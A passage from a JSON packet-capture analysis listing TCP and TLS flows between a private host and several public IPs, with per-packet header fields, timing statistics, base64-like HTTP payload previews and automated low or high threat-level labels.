vd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxax\"}, {\"packet_number\": 10, \"timestamp\": 1784451634.641736, \"timestamp_iso\": \"2026-07-19T14:30:34.641736\", \"timestamp_human\": \"2026-07-19 14:30:34.641\", \"size\": 550, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42009, \"ip_len\": 536, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113374011, \"tcp_ack\": 1664658684, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 496, \"payload_preview\": \"726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d\", \"payload_ascii\": \"rnrMxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHM\"}, {\"packet_number\": 12, \"timestamp\": 1784451634.652039, \"timestamp_iso\": \"2026-07-19T14:30:34.652039\", \"timestamp_human\": \"2026-07-19 14:30:34.652\", \"size\": 562, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42010, \"ip_len\": 548, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113374507, \"tcp_ack\": 1664658684, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 508, \"payload_preview\": \"636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"cmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}, {\"packet_number\": 16, \"timestamp\": 1784451644.527327, \"timestamp_iso\": \"2026-07-19T14:30:44.527327\", \"timestamp_human\": \"2026-07-19 14:30:44.527\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42011, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113375015, \"tcp_ack\": 1664658684, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 19, \"timestamp\": 1784451644.527711, \"timestamp_iso\": \"2026-07-19T14:30:44.527711\", \"timestamp_human\": \"2026-07-19 14:30:44.527\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113375016, \"tcp_ack\": 1664658685, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 8, \"PSH\": 4, \"FIN\": 1}, \"packet_sizes\": [66, 54, 542, 2974, 550, 562, 54, 54], \"inter_packet_intervals\": [0.0002410411834716797, 0.4446408748626709, 0.00023317337036132812, 0.0001499652862548828, 0.010303020477294922, 9.875288009643555, 0.0003838539123535156], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.331239938735962, \"avg_packet_size\": 607.0, \"packets_per_second\": 0.7743504213859937, \"bytes_per_second\": 470.0307057812982, \"min_packet_size\": 54, \"max_packet_size\": 2974, \"median_packet_size\": 542, \"avg_interval\": 1.475891419819423, \"min_interval\": 0.0001499652862548828, \"max_interval\": 9.875288009643555}, {\"source\": \"96.16.53.133\", \"target\": \"10.152.152.11\", \"packet_count\": 1, \"total_bytes\": 1514, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [63963], \"first_packet\": 1784451636.246635, \"last_packet\": 1784451636.246635, \"packets\": [{\"packet_number\": 14, \"timestamp\": 1784451636.246635, \"timestamp_iso\": \"2026-07-19T14:30:36.246635\", \"timestamp_human\": \"2026-07-19 14:30:36.246\", \"size\": 1514, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"96.16.53.133\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 18141, \"ip_len\": 1500, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 1304512606, \"tcp_ack\": 3437712464, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1460, \"payload_preview\": \"68a9781c6ad48676ca4499e468089af3b5d5421c38a75eebb1cce03219f36c305405d4c4df196323b4c65d17d192c96e82ab82a98566f8b5a22b02135bacf376be6d98815be7b84c47256fa1d976aa372fc0f320bf3503c4883bfe9e744574996fc10bf516bc2d4868d9266e848a1b15709039b3cf73297b9a89bd6035abefd8ddfe47080457f0d13fd3b56afb154da2de771dfd5467e3f1851e7b1bcb19749bece19f0049bc283c060da0f23ae6e72a80e2a209eab9ab8592c20679dd313e51934393e9088a59dbd23ac36cc3ca59d26d0a1b7ad3082d7a44e5a405daa5718a4ac26d8de5e01a7efe7b658e2ff470b279671a2774d5fca131799942505ca5228a0706a4733ba26efde502e791fc5b4baef54940fffb12c16f18ab59485c0761e5d5eeac19797daf91372cccb0054a806ceb7c2156502db7520237a8e45ea99644ee54d647337543882a54476721dc194170acadb885acaf68ac9a5d93c59699ba353368bd5cdc40a49e14753535da1247c418b0605d939a4f72b32e5456eedb39d97712a218227bc3321e0570a1ca5cdd84539feb6e4f0ad6557f534de3720200422ef9b3e6c2baafed6001a78791d5658deb31bf98f350f08e377e2f2d66216e0fce827cfa8d4595a1d75ef925d1ea7b74738cdcef44fdeae9d33371fdeac3032986ebbb19e57796d9022a694dab7bfc00892caf82aa35de1a7d8aaf95d713fc02819194f109c66c4c246f3a606ca8794797f866fbc1c9850400c38ddb8fb385c96e9b86b3a8f96e1be492e72806b031014dfa626f1336d966048d9f572e3cbe9af751c422dc80b639dfb5314fc9fc86248eab3cd28b4f545ffc260d1a217efb67c143c78b6c57c0390d6a3dd8af78c5a222bea8a85700538b8ba727db5955a9415a1ab2ad84f417a4d30034cc31b93c9b85b95d60a46ed631589981c48adbc0f95754cdd5f441f606171ba31703034018212aee3c1e0a4f4ff4910ed0fdc015e40a0db7f13af9aa2ddcc7c45dd371b48be752f795935cb98fad102affbf33c77c6435e8372cc70bfa1877d2e2e3318a47cf70958ccc42d95b958527cb3c5e47367a59ddd1b4ac80527ac49d78d809eef80d696d5e8ecb157aafeecb7b2de444b485fe0e97860e84a0332516d6287300e36d11e062a2e00d571fc3ccf045e6685c54724b3082030c797abf01c70976c3d388a8eb64b0b990959c9aecaaca046434a76b0e1c96d88cda9ccb6560802245c5ec46a583e47f08706ce521ba252560370a76a9f9f9e1b47883852e6d447991b4a0defe920e12233f08d310aec64a153c270db462d8e09e214122fa548a3cc27955a6f7e5df5035e7e3ac65256bcca62371bfc90dedd22a97db53aaef9c817ddb1eeef8fba597a7a581d7ad2295afb3cbc491224efa3db4486a422684a15f2280fb2ea9a18c0c09ff4b6f51dbd2bfa6e62b9e458700ec45d0765a87c440cc0bdc102d6b54aa45acb52e3fcc78050500af6e75a92af396d63130986ee91c8c57602302ba97682e415885ac59f45338e8f3b05d590649ce14c546071eae5437e24518e513c74da9d1416bf2b680fc199252b1e006390a782ab01b12019253c4ddd206d45678f384f7d86acec95f80033c808c71bdc458dbad8af78443a88a56195c27186df919492e9960bfde8cd5d0409b8e13e9463503b64194cee050a27aee384a64cdf555af799a996ed66bf74c35658a680bb779e15eb6c25d810aeb9ae65e7866b4fbf92748dcc3cc1b991fb419959bea21a5b0644b5986d2da135d6fd162fb7f2c3db6cd2a5e4f272b0bd1f965aa1184e71f64766535e6bd100ee3e5e3979a573c1b4824c333167e74b5023a92278b7bd482d18901e4e35fff4c1597fe11bcfa6164c86b65168d3daa4ac563090878b26ec052889990ffeae54ff85abcb80b07966ed4a6449e2879e0bba6aa6f7be96e198d3d2e9ff3a6163b7d6e6db0a885fd84bec621e386890d9ed162dd889941bc6386ad124f5af0a03c2bba8d63fde73f47b9eabb04227a0764c70b87210abe244472330c280085622332e5e5b33444ed\", \"payload_ascii\": \"hx\\u001cjvDh\\bB\\u001c8^2\\u0019l0T\\u0005\\u0019c#]\\u0017nf+\\u0002\\u0013[vm[LG%ov7/ 5\\u0003;tEto\\u000b\\u0016-Hh&n\\u001b\\u0015p9s){`5G\\b\\u0004W?j\\u0015Mw\\u001dTg\\u001e{\\u001b\\u0019t\\u0000I(<\\u0006\\r:*\\t\\u0006y1>QC\\bY:lYm\\n\\u001bz\\b-zD\\u0005qJm\\u001a~{e/pyg\\u001a't1yBP\\\\\\\"\\u0007\\u0006s;n\\u0002[KI@\\u0012o\\u0018YH\\\\\\u0007a\\u0019y}7,\\u0005Jl|!VP-R\\u00027^DTG3uC*TGg!\\u0019Aph]53h\\\\@\\u0014u55\\u0012G\\u0018`]Or.TV9w\\u0012\\u0018\\\"{2\\u001e\\u0005p\\\\SnO\\nU\\u007fSMr\\u0002\\u0000B.`\\u0001e1P7~/-f!n\\u000f|E^%{tsD3q\\u0003)\\u0019w\\u0002*iM{\\u0000,5\\u001a}\\u0013\\u0002\\tlL$o:`lyGf\\u0004\\u0000nn\\u001b(\\u00061\\u0001Mbo\\u00136f\\u0004W.<Q\\\"91O$<OT_&\\r\\u001a!~gClW9\\rj=x\\\"W\\u0000S'YUAZ\\u001a\\u0017\\u000041<]`n1XWTA\\u0006\\u0017\\u001b\\u0017\\u0003\\u0003@\\u0018!*<\\u001e\\nOO\\u000e\\u0015\\n\\r:-]qR\\\\\\u0010*3|d57,\\u000b\\u0018w1GpB['<^G6zYRzx\\t\\rim^\\u0015z{-D\\u000e\\u000e3%\\u0016(s\\u0000m\\u0011b\\rW\\u001fEh\\\\TrK0\\u0003\\fyz\\u0001\\tvd\\u0004d4k\\u000e\\u001ce`\\\"EF\\u007f\\bpl!%%`7\\nvx.mDy\\u000e\\u0012#?\\b\\u0010J\\u0015<'\\rb!A\\\"T<yUP5e%k#q\\r*S}\\u001e\\\"\\\"N=HjB&_\\\".\\f\\tKoQ+E\\u0000EvZ@\\u000b\\u0010-kTE.?x\\u0005\\u0005\\u0000nu*10n\\u001cW`#\\u0002h.AXYS8]Y\\u0006I\\u0014F\\u0007\\u001eT7E\\u0018\\u0013MAk\\u0019R\\u00069\\nx*\\u001b\\u0012\\u0001S\\u0006Vxj_\\u0003<qXCV\\u0019\\\\'\\u0018m\\u0019I.`@\\u0013F5\\u0003APz8JdUynkL5eh\\u000by^]\\n^xf'H\\u001b\\u001f\\u0019!dKY\\u0013]ob\\u007f,=*^O'+\\u000be\\u0011\\u001fdve5\\u0010\\u000eW<\\u001bH$3\\u0016~t\\u0002:'{\\u0001_L\\u0015\\u0011adke\\u0016=Jc\\t\\bxnROZ\\u000b\\u0007nD(yo{n\\u0019=.\\u0016;}nm!\\rbAc\\u0012OZ<+c?G\\u0004\\\"z\\u0007d\\u000b!\\n$Dr3\\f(\\u0000b#24D\"}], \"tcp_flags\": {\"ACK\": 1}, \"packet_sizes\": [1514], \"inter_packet_intervals\": [], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 0.0, \"avg_packet_size\": 1514.0, \"packets_per_second\": 0, \"bytes_per_second\": 0, \"min_packet_size\": 1514, \"max_packet_size\": 1514, \"median_packet_size\": 1514}, {\"source\": \"10.152.152.11\", \"target\": \"96.16.53.133\", \"packet_count\": 1, \"total_bytes\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [63963], \"dst_ports\": [443], \"first_packet\": 1784451636.246758, \"last_packet\": 1784451636.246758, \"packets\": [{\"packet_number\": 15, \"timestamp\": 1784451636.246758, \"timestamp_iso\": \"2026-07-19T14:30:36.246758\", \"timestamp_human\": \"2026-07-19 14:30:36.246\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"96.16.53.133\", \"ttl\": 128, \"ip_id\": 13, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 3437712464, \"tcp_ack\": 3437712464, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}], \"tcp_flags\": {\"RST\": 1}, \"packet_sizes\": [54], \"inter_packet_intervals\": [], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 0.0, \"avg_packet_size\": 54.0, \"packets_per_second\": 0, \"bytes_per_second\": 0, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54}, {\"source\": \"23.207.106.113\", \"target\": \"10.152.152.11\", \"packet_count\": 2, \"total_bytes\": 139, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [64035], \"first_packet\": 1784451812.522965, \"last_packet\": 1784451812.523028, \"packets\": [{\"packet_number\": 20, \"timestamp\": 1784451812.522965, \"timestamp_iso\": \"2026-07-19T14:33:32.522965\", \"timestamp_human\": \"2026-07-19 14:33:32.522\", \"size\": 85, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"23.207.106.113\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 26064, \"ip_len\": 71, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64035, \"tcp_seq\": 3134109863, \"tcp_ack\": 1114682263, \"tcp_window\": 126, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 24, \"payload_preview\": \"de46807b347e4cdc96343ed155ab6828f3bd45db9e16e9e5\", \"payload_ascii\": \"F{4~L4>Uh(E\\u0016\"}, {\"packet_number\": 21, \"timestamp\": 1784451812.523028, \"timestamp_iso\": \"2026-07-19T14:33:32.523028\", \"timestamp_human\": \"2026-07-19 14:33:32.523\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"23.207.106.113\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 26065, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64035, \"tcp_seq\": 3134109894, \"tcp_ack\": 1114682263, \"tcp_window\": 126, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"PSH\": 1, \"ACK\": 2, \"FIN\": 1}, \"packet_sizes\": [85, 54], \"inter_packet_intervals\": [6.29425048828125e-05], \"connection_type\": \"TCP Data\", \"threat_level\": \"high\", \"duration\": 6.29425048828125e-05, \"avg_packet_size\": 69.5, \"packets_per_second\": 31775.030303030304, \"bytes_per_second\": 2208364.606060606, \"min_packet_size\": 54, \"max_packet_size\": 85, \"median_packet_size\": 85, \"avg_interval\": 6.29425048828125e-05, \"min_interval\": 6.29425048828125e-05, \"max_interval\": 6.29425048828125e-05}, {\"source\": \"10.152.152.11\", \"target\": \"23.207.106.113\", \"packet_count\": 2, \"total_bytes\": 108, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [64035], \"dst_ports\": [443], \"first_packet\": 1784451812.523335, \"last_packet\": 1784451812.523335, \"packets\": [{\"packet_number\": 22, \"timestamp\": 1784451812.523335, \"timestamp_iso\": \"2026-07-19T14:33:32.523335\", \"timestamp_human\": \"2026-07-19 14:33:32.523\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"23.207.106.113\", \"ttl\": 128, \"ip_id\": 14, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 443, \"tcp_seq\": 1114682263, \"tcp_ack\": 1114682263, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}, {\"packet_number\": 23, \"timestamp\": 1784451812.523335, \"timestamp_iso\": \"2026-07-19T14:33:32.523335\", \"timestamp_human\": \"2026-07-19 14:33:32.523\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"23.207.106.113\", \"ttl\": 128, \"ip_id\": 15, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 443, \"tcp_seq\": 1114682263, \"tcp_ack\": 1114682263, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}], \"tcp_flags\": {\"RST\": 2}, \"packet_sizes\": [54, 54], \"inter_packet_intervals\": [0.0], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 0.0, \"avg_packet_size\": 54.0, \"packets_per_second\": 0, \"bytes_per_second\": 0, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 0.0, \"min_interval\": 0.0, \"max_interval\": 0.0}, {\"source\": \"96.16.53.163\", \"target\": \"10.152.152.11\", \"packet_count\": 2, \"total_bytes\": 139, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [64039], \"first_packet\": 1784451871.896765, \"last_packet\": 1784451871.896794, \"packets\": [{\"packet_number\": 24, \"timestamp\": 1784451871.896765, \"timestamp_iso\": \"2026-07-19T14:34:31.896765\", \"timestamp_human\": \"2026-07-19 14:34:31.896\", \"size\": 85, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"96.16.53.163\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 12698, \"ip_len\": 71, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64039, \"tcp_seq\": 4072977882, \"tcp_ack\": 959402096, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 24, \"payload_preview\": \"60b506b90a0ff40e3a0b5456b97a531fe31fefaa24717630\", \"payload_ascii\": \"`\\u0006\\n\\u000f\\u000e:\\u000bTVzS\\u001f\\u001f$qv0\"}, {\"packet_number\": 25, \"timestamp\": 1784451871.896794, \"timestamp_iso\": \"2026-07-19T14:34:31.896794\", \"timestamp_human\": \"2026-07-19 14:34:31.896\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"96.16.53.163\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 12699, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64039, \"tcp_seq\": 4072977913, \"tcp_ack\": 959402096, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"PSH\": 1, \"ACK\": 2, \"FIN\": 1}, \"packet_sizes\": [85, 54], \"inter_packet_intervals\": [2.9087066650390625e-05], \"connection_type\": \"TCP Data\", \"threat_level\": \"high\", \"duration\": 2.9087066650390625e-05, \"avg_packet_size\": 69.5, \"packets_per_second\": 68759.08196721312, \"bytes_per_second\": 4778756.196721312, \"min_packet_size\": 54, \"max_packet_size\": 85, \"median_packet_size\": 85, \"avg_interval\": 2.9087066650390625e-05, \"min_interval\": 2.9087066650390625e-05, \"max_interval\": 2.9087066650390625e-05}, {\"source\": \"10.152.152.11\", \"target\": \"96.16.53.163\", \"packet_count\": 2, \"total_bytes\": 108, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [64039], \"dst_ports\": [443], \"first_packet\": 1784451871.896965, \"last_packet\": 1784451871.89698, \"packets\": [{\"packet_number\": 26, \"timestamp\": 1784451871.896965, \"timestamp_iso\": \"2026-07-19T14:34:31.896965\", \"timestamp_human\": \"2026-07-19 